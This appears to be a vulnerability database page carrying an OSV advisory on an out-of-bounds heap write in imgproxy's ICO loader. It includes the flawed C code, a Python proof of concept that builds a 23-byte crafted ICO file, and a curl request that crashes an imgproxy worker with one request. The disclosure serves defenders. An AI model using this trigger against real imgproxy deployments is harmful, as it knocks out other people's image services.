Not ratedosv:GHSA-494m-4556-wf5p

    imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash

    Published Sources: OSV

    What is affected, what to do

    The available sources name no fixed version. Check the vendor guidance in the references below.

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    —

    Priority

    No value is available for this vulnerability.

    —

    CVSS v3

    No value is available for this vulnerability.

    —

    EPSS score

    No value is available for this vulnerability.

    Show all metrics
    Severity
    Not rated
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    30.00 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    Summary

    Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).

    Details

    In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:

    uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32));  // unvalidated
    uint16_t bpp        = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14));  // unvalidated
    
    if ((num_colors == 0) && (bpp <= 8))
      pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
    else
      pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;
    
    int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8));  // readable past the buffer
    height = height / 2;
    

    With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).

    PoC

    # make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
    # Byte-identical to the checksummed, production-verified file:
    #   ico-oob.ico  sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
    import struct, hashlib
    
    hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
    # 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
    # The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
    # (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
    # allocation.
    entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
    data = b'\xAA'  # the single declared image byte
    blob = hdr + entry + data
    assert hashlib.sha256(blob).hexdigest() == \
        '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
    open('ico-oob.ico', 'wb').write(blob)
    print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
    
    # imgproxy v4.0.15 with local file sources enabled:
    #   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
    curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
    # → request fails at transport level (connection reset / empty reply) or
    #   HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
    #   Go panic dump → exit code 2. One request, one dead worker.
    
    curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
    # → HTTP 200, valid thumbnail (control)
    

    Impact

    Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.

    Source: OSV (Open Source Vulnerabilities)